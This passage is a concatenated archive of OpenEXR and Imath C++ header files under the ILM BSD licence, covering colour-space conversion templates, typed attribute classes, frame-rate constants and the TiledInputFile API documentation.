disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHCOLORALGO_H #define INCLUDED_IMATHCOLORALGO_H #include "ImathColor.h" #include "ImathExport.h" #include "ImathMath.h" #include "ImathLimits.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER // // Non-templated helper routines for color conversion. // These routines eliminate type warnings under g++. // IMATH_EXPORT Vec3<double> hsv2rgb_d(const Vec3<double> &hsv); IMATH_EXPORT Color4<double> hsv2rgb_d(const Color4<double> &hsv); IMATH_EXPORT Vec3<double> rgb2hsv_d(const Vec3<double> &rgb); IMATH_EXPORT Color4<double> rgb2hsv_d(const Color4<double> &rgb); // // Color conversion functions and general color algorithms // // hsv2rgb(), rgb2hsv(), rgb2packed(), packed2rgb() // see each funtion definition for details. // template<class T> Vec3<T> hsv2rgb(const Vec3<T> &hsv) { if ( limits<T>::isIntegral() ) { Vec3<double> v = Vec3<double>(hsv.x / double(limits<T>::max()), hsv.y / double(limits<T>::max()), hsv.z / double(limits<T>::max())); Vec3<double> c = hsv2rgb_d(v); return Vec3<T>((T) (c.x * limits<T>::max()), (T) (c.y * limits<T>::max()), (T) (c.z * limits<T>::max())); } else { Vec3<double> v = Vec3<double>(hsv.x, hsv.y, hsv.z); Vec3<double> c = hsv2rgb_d(v); return Vec3<T>((T) c.x, (T) c.y, (T) c.z); } } template<class T> Color4<T> hsv2rgb(const Color4<T> &hsv) { if ( limits<T>::isIntegral() ) { Color4<double> v = Color4<double>(hsv.r / float(limits<T>::max()), hsv.g / float(limits<T>::max()), hsv.b / float(limits<T>::max()), hsv.a / float(limits<T>::max())); Color4<double> c = hsv2rgb_d(v); return Color4<T>((T) (c.r * limits<T>::max()), (T) (c.g * limits<T>::max()), (T) (c.b * limits<T>::max()), (T) (c.a * limits<T>::max())); } else { Color4<double> v = Color4<double>(hsv.r, hsv.g, hsv.b, hsv.a); Color4<double> c = hsv2rgb_d(v); return Color4<T>((T) c.r, (T) c.g, (T) c.b, (T) c.a); } } template<class T> Vec3<T> rgb2hsv(const Vec3<T> &rgb) { if ( limits<T>::isIntegral() ) { Vec3<double> v = Vec3<double>(rgb.x / double(limits<T>::max()), rgb.y / double(limits<T>::max()), rgb.z / double(limits<T>::max())); Vec3<double> c = rgb2hsv_d(v); return Vec3<T>((T) (c.x * limits<T>::max()), (T) (c.y * limits<T>::max()), (T) (c.z * limits<T>::max())); } else { Vec3<double> v = Vec3<double>(rgb.x, rgb.y, rgb.z); Vec3<double> c = rgb2hsv_d(v); return Vec3<T>((T) c.x, (T) c.y, (T) c.z); } } template<class T> Color4<T> rgb2hsv(const Color4<T> &rgb) { if ( limits<T>::isIntegral() ) { Color4<double> v = Color4<double>(rgb.r / float(limits<T>::max()), rgb.g / float(limits<T>::max()), rgb.b / float(limits<T>::max()), rgb.a / float(limits<T>::max())); Color4<double> c = rgb2hsv_d(v); return Color4<T>((T) (c.r * limits<T>::max()), (T) (c.g * limits<T>::max()), (T) (c.b * limits<T>::max()), (T) (c.a * limits<T>::max())); } else { Color4<double> v = Color4<double>(rgb.r, rgb.g, rgb.b, rgb.a); Color4<double> c = rgb2hsv_d(v); return Color4<T>((T) c.r, (T) c.g, (T) c.b, (T) c.a); } } template <class T> PackedColor rgb2packed(const Vec3<T> &c) { if ( limits<T>::isIntegral() ) { float x = c.x / float(limits<T>::max()); float y = c.y / float(limits<T>::max()); float z = c.z / float(limits<T>::max()); return rgb2packed( V3f(x,y,z) ); } else { return ( (PackedColor) (c.x * 255) | (((PackedColor) (c.y * 255)) << 8) | (((PackedColor) (c.z * 255)) << 16) | 0xFF000000 ); } } template <class T> PackedColor rgb2packed(const Color4<T> &c) { if ( limits<T>::isIntegral() ) { float r = c.r / float(limits<T>::max()); float g = c.g / float(limits<T>::max()); float b = c.b / float(limits<T>::max()); float a = c.a / float(limits<T>::max()); return rgb2packed( C4f(r,g,b,a) ); } else { return ( (PackedColor) (c.r * 255) | (((PackedColor) (c.g * 255)) << 8) | (((PackedColor) (c.b * 255)) << 16) | (((PackedColor) (c.a * 255)) << 24)); } } // // This guy can't return the result because the template // parameter would not be in the function signiture. So instead, // its passed in as an argument. // template <class T> void packed2rgb(PackedColor packed, Vec3<T> &out) { if ( limits<T>::isIntegral() ) { T f = limits<T>::max() / ((PackedColor)0xFF); out.x = (packed & 0xFF) * f; out.y = ((packed & 0xFF00) >> 8) * f; out.z = ((packed & 0xFF0000) >> 16) * f; } else { T f = T(1) / T(255); out.x = (packed & 0xFF) * f; out.y = ((packed & 0xFF00) >> 8) * f; out.z = ((packed & 0xFF0000) >> 16) * f; } } template <class T> void packed2rgb(PackedColor packed, Color4<T> &out) { if ( limits<T>::isIntegral() ) { T f = limits<T>::max() / ((PackedColor)0xFF); out.r = (packed & 0xFF) * f; out.g = ((packed & 0xFF00) >> 8) * f; out.b = ((packed & 0xFF0000) >> 16) * f; out.a = ((packed & 0xFF000000) >> 24) * f; } else { T f = T(1) / T(255); out.r = (packed & 0xFF) * f; out.g = ((packed & 0xFF00) >> 8) * f; out.b = ((packed & 0xFF0000) >> 16) * f; out.a = ((packed & 0xFF000000) >> 24) * f; } } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHCOLORALGO_H OpenEXR/ImfDoubleAttribute.h 0000644 00000004444 15246445047 0011750 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_DOUBLE_ATTRIBUTE_H #define INCLUDED_IMF_DOUBLE_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class DoubleAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<double> DoubleAttribute; template <> IMF_EXPORT const char *DoubleAttribute::staticTypeName (); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfAttribute.h 0000644 00000024560 15246445047 0010616 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_ATTRIBUTE_H #define INCLUDED_IMF_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class Attribute // //----------------------------------------------------------------------------- #include "IexBaseExc.h" #include "ImfIO.h" #include "ImfXdr.h" #include "ImfForward.h" #include "ImfExport.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT Attribute { public: //--------------------------- // Constructor and destructor //--------------------------- Attribute (); virtual ~Attribute (); //------------------------------- // Get this attribute's type name //------------------------------- virtual const char * typeName () const = 0; //------------------------------ // Make a copy of this attribute //------------------------------ virtual Attribute * copy () const = 0; //---------------------------------------- // Type-specific attribute I/O and copying //---------------------------------------- virtual void writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, int version) const = 0; virtual void readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int size, int version) = 0; virtual void copyValueFrom (const Attribute &other) = 0; //------------------ // Attribute factory //------------------ static Attribute * newAttribute (const char typeName[]); //----------------------------------------------------------- // Test if a given attribute type has already been registered //----------------------------------------------------------- static bool knownType (const char typeName[]); protected: //-------------------------------------------------- // Register an attribute type so that newAttribute() // knows how to make objects of this type. //-------------------------------------------------- static void registerAttributeType (const char typeName[], Attribute *(*newAttribute)()); //------------------------------------------------------ // Un-register an attribute type so that newAttribute() // no longer knows how to make objects of this type (for // debugging only). //------------------------------------------------------ static void unRegisterAttributeType (const char typeName[]); }; //------------------------------------------------- // Class template for attributes of a specific type //------------------------------------------------- template <class T> class TypedAttribute: public Attribute { public: //---------------------------- // Constructors and destructor //------------_--------------- TypedAttribute (); TypedAttribute (const T &value); TypedAttribute (const TypedAttribute<T> &other); virtual ~TypedAttribute (); //-------------------------------- // Access to the attribute's value //-------------------------------- T & value (); const T & value () const; //-------------------------------- // Get this attribute's type name. //-------------------------------- virtual const char * typeName () const; //--------------------------------------------------------- // Static version of typeName() // This function must be specialized for each value type T. //--------------------------------------------------------- static const char * staticTypeName (); //--------------------- // Make a new attribute //--------------------- static Attribute * makeNewAttribute (); //------------------------------ // Make a copy of this attribute //------------------------------ virtual Attribute * copy () const; //----------------------------------------------------------------- // Type-specific attribute I/O and copying. // Depending on type T, these functions may have to be specialized. //----------------------------------------------------------------- virtual void writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, int version) const; virtual void readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int size, int version); virtual void copyValueFrom (const Attribute &other); //------------------------------------------------------------ // Dynamic casts that throw exceptions instead of returning 0. //------------------------------------------------------------ static TypedAttribute * cast (Attribute *attribute); static const TypedAttribute * cast (const Attribute *attribute); static TypedAttribute & cast (Attribute &attribute); static const TypedAttribute & cast (const Attribute &attribute); //--------------------------------------------------------------- // Register this attribute type so that Attribute::newAttribute() // knows how to make objects of this type. // // Note that this function is not thread-safe because it modifies // a global variable in the IlmIlm library. A thread in a multi- // threaded program may call registerAttributeType() only when no // other thread is accessing any functions or classes in the // IlmImf library. // //--------------------------------------------------------------- static void registerAttributeType (); //----------------------------------------------------- // Un-register this attribute type (for debugging only) //----------------------------------------------------- static void unRegisterAttributeType (); private: T _value; }; //------------------------------------ // Implementation of TypedAttribute<T> //------------------------------------ template <class T> TypedAttribute<T>::TypedAttribute (): Attribute (), _value (T()) { // empty } template <class T> TypedAttribute<T>::TypedAttribute (const T & value): Attribute (), _value (value) { // empty } template <class T> TypedAttribute<T>::TypedAttribute (const TypedAttribute<T> &other): Attribute (other), _value () { copyValueFrom (other); } template <class T> TypedAttribute<T>::~TypedAttribute () { // empty } template <class T> inline T & TypedAttribute<T>::value () { return _value; } template <class T> inline const T & TypedAttribute<T>::value () const { return _value; } template <class T> const char * TypedAttribute<T>::typeName () const { return staticTypeName(); } template <class T> Attribute * TypedAttribute<T>::makeNewAttribute () { return new TypedAttribute<T>(); } template <class T> Attribute * TypedAttribute<T>::copy () const { Attribute * attribute = new TypedAttribute<T>(); attribute->copyValueFrom (*this); return attribute; } template <class T> void TypedAttribute<T>::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, int version) const { OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::write <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (os, _value); } template <class T> void TypedAttribute<T>::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int size, int version) { OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, _value); } template <class T> void TypedAttribute<T>::copyValueFrom (const Attribute &other) { _value = cast(other)._value; } template <class T> TypedAttribute<T> * TypedAttribute<T>::cast (Attribute *attribute) { TypedAttribute<T> *t = dynamic_cast <TypedAttribute<T> *> (attribute); if (t == 0) throw IEX_NAMESPACE::TypeExc ("Unexpected attribute type."); return t; } template <class T> const TypedAttribute<T> * TypedAttribute<T>::cast (const Attribute *attribute) { const TypedAttribute<T> *t = dynamic_cast <const TypedAttribute<T> *> (attribute); if (t == 0) throw IEX_NAMESPACE::TypeExc ("Unexpected attribute type."); return t; } template <class T> inline TypedAttribute<T> & TypedAttribute<T>::cast (Attribute &attribute) { return *cast (&attribute); } template <class T> inline const TypedAttribute<T> & TypedAttribute<T>::cast (const Attribute &attribute) { return *cast (&attribute); } template <class T> inline void TypedAttribute<T>::registerAttributeType () { Attribute::registerAttributeType (staticTypeName(), makeNewAttribute); } template <class T> inline void TypedAttribute<T>::unRegisterAttributeType () { Attribute::unRegisterAttributeType (staticTypeName()); } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfEnvmapAttribute.h 0000644 00000005256 15246445047 0011766 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_ENVMAP_ATTRIBUTE_H #define INCLUDED_IMF_ENVMAP_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class EnvmapAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfEnvmap.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::Envmap> EnvmapAttribute; template <> IMF_EXPORT const char *EnvmapAttribute::staticTypeName (); template <> IMF_EXPORT void EnvmapAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void EnvmapAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfFramesPerSecond.h 0000644 00000007456 15246445047 0011700 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2006, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_FRAMES_PER_SECOND_H #define INCLUDED_IMF_FRAMES_PER_SECOND_H //----------------------------------------------------------------------------- // // Convenience functions related to the framesPerSecond attribute // // Functions that return the exact values for commonly used frame rates: // // name frames per second // // fps_23_976() 23.976023... // fps_24() 24.0 35mm film frames // fps_25() 25.0 PAL video frames // fps_29_97() 29.970029... NTSC video frames // fps_30() 30.0 60Hz HDTV frames // fps_47_952() 47.952047... // fps_48() 48.0 // fps_50() 50.0 PAL video fields // fps_59_94() 59.940059... NTSC video fields // fps_60() 60.0 60Hz HDTV fields // // Functions that try to convert inexact frame rates into exact ones: // // Given a frame rate, fps, that is close to one of the pre-defined // frame rates fps_23_976(), fps_29_97(), fps_47_952() or fps_59_94(), // guessExactFps(fps) returns the corresponding pre-defined frame // rate. If fps is not close to one of the pre-defined frame rates, // then guessExactFps(fps) returns Rational(fps). // //----------------------------------------------------------------------------- #include "ImfRational.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER inline Rational fps_23_976 () {return Rational (24000, 1001);} inline Rational fps_24 () {return Rational (24, 1);} inline Rational fps_25 () {return Rational (25, 1);} inline Rational fps_29_97 () {return Rational (30000, 1001);} inline Rational fps_30 () {return Rational (30, 1);} inline Rational fps_47_952 () {return Rational (48000, 1001);} inline Rational fps_48 () {return Rational (48, 1);} inline Rational fps_50 () {return Rational (50, 1);} inline Rational fps_59_94 () {return Rational (60000, 1001);} inline Rational fps_60 () {return Rational (60, 1);} IMF_EXPORT Rational guessExactFps (double fps); IMF_EXPORT Rational guessExactFps (const Rational &fps); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfTiledInputFile.h 0000644 00000033503 15246445047 0011531 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_TILED_INPUT_FILE_H #define INCLUDED_IMF_TILED_INPUT_FILE_H //----------------------------------------------------------------------------- // // class TiledInputFile // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfFrameBuffer.h" #include "ImathBox.h" #include "ImfTileDescription.h" #include "ImfThreading.h" #include "ImfGenericInputFile.h" #include "ImfTiledOutputFile.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT TiledInputFile : public GenericInputFile { public: //-------------------------------------------------------------------- // A constructor that opens the file with the specified name, and // reads the file header. The constructor throws an IEX_NAMESPACE::ArgExc // exception if the file is not tiled. // The numThreads parameter specifies how many worker threads this // file will try to keep busy when decompressing individual tiles. // Destroying TiledInputFile objects constructed with this constructor // automatically closes the corresponding files. //-------------------------------------------------------------------- TiledInputFile (const char fileName[], int numThreads = globalThreadCount ()); // ---------------------------------------------------------- // A constructor that attaches the new TiledInputFile object // to a file that has already been opened. // Destroying TiledInputFile objects constructed with this // constructor does not automatically close the corresponding // files. // ---------------------------------------------------------- TiledInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int numThreads = globalThreadCount ()); //----------- // Destructor //----------- virtual ~TiledInputFile (); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; //----------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the TiledInputFile object. // // The current frame buffer is the destination for the pixel // data read from the file. The current frame buffer must be // set at least once before readTile() is called. // The current frame buffer can be changed after each call // to readTile(). //----------------------------------------------------------- void setFrameBuffer (const FrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const FrameBuffer & frameBuffer () const; //------------------------------------------------------------ // Check if the file is complete: // // isComplete() returns true if all pixels in the data window // (in all levels) are present in the input file, or false if // any pixels are missing. (Another program may still be busy // writing the file, or file writing may have been aborted // prematurely.) //------------------------------------------------------------ bool isComplete () const; //-------------------------------------------------- // Utility functions: //-------------------------------------------------- //--------------------------------------------------------- // Multiresolution mode and tile size: // The following functions return the xSize, ySize and mode // fields of the file header's TileDescriptionAttribute. //--------------------------------------------------------- unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; //-------------------------------------------------------------------- // Number of levels: // // numXLevels() returns the file's number of levels in x direction. // // if levelMode() == ONE_LEVEL: // return value is: 1 // // if levelMode() == MIPMAP_LEVELS: // return value is: rfunc (log (max (w, h)) / log (2)) + 1 // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (w) / log (2)) + 1 // // where // w is the width of the image's data window, max.x - min.x + 1, // y is the height of the image's data window, max.y - min.y + 1, // and rfunc(x) is either floor(x), or ceil(x), depending on // whether levelRoundingMode() returns ROUND_DOWN or ROUND_UP. // // numYLevels() returns the file's number of levels in y direction. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (h) / log (2)) + 1 // // // numLevels() is a convenience function for use with // MIPMAP_LEVELS files. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // an IEX_NAMESPACE::LogicExc exception is thrown // // isValidLevel(lx, ly) returns true if the file contains // a level with level number (lx, ly), false if not. // //-------------------------------------------------------------------- int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; //---------------------------------------------------------- // Dimensions of a level: // // levelWidth(lx) returns the width of a level with level // number (lx, *), where * is any number. // // return value is: // max (1, rfunc (w / pow (2, lx))) // // // levelHeight(ly) returns the height of a level with level // number (*, ly), where * is any number. // // return value is: // max (1, rfunc (h / pow (2, ly))) // //---------------------------------------------------------- int levelWidth (int lx) const; int levelHeight (int ly) const; //-------------------------------------------------------------- // Number of tiles: // // numXTiles(lx) returns the number of tiles in x direction // that cover a level with level number (lx, *), where * is // any number. // // return value is: // (levelWidth(lx) + tileXSize() - 1) / tileXSize() // // // numYTiles(ly) returns the number of tiles in y direction // that cover a level with level number (*, ly), where * is // any number. // // return value is: // (levelHeight(ly) + tileXSize() - 1) / tileXSize() // //-------------------------------------------------------------- int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; //--------------------------------------------------------------- // Level pixel ranges: // // dataWindowForLevel(lx, ly) returns a 2-dimensional region of // valid pixel coordinates for a level with level number (lx, ly) // // return value is a Box2i with min value: // (dataWindow.min.x, dataWindow.min.y) // // and max value: // (dataWindow.min.x + levelWidth(lx) - 1, // dataWindow.min.y + levelHeight(ly) - 1) // // dataWindowForLevel(level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForLevel(level, level). // //--------------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; //------------------------------------------------------------------- // Tile pixel ranges: // // dataWindowForTile(dx, dy, lx, ly) returns a 2-dimensional // region of valid pixel coordinates for a tile with tile coordinates // (dx,dy) and level number (lx, ly). // // return value is a Box2i with min value: // (dataWindow.min.x + dx * tileXSize(), // dataWindow.min.y + dy * tileYSize()) // // and max value: // (dataWindow.min.x + (dx + 1) * tileXSize() - 1, // dataWindow.min.y + (dy + 1) * tileYSize() - 1) // // dataWindowForTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForTile(dx, dy, level, level). // //------------------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; 